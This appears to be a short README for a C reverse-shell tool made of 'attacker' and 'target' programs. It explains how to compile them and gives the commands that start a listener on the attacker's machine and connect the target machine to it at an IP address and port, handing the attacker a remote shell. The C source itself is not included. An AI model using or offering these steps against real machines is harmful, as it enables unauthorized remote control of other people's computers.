👨💻 Script in C which after compiling can be used by an Attacker to gain a shell of Target machine.
Firstly, you should compile the above C programs. In my case I used g++
compiler and gave the output files name as attacker
and target
respectively.
On your machine setup a server and start listening on a port.
./attacker 1234
You can do this by simply executing the target compiled file
./target 192.168.0.2 1234
Now you should have gained a shell on the server machine.
MIT © y_k_007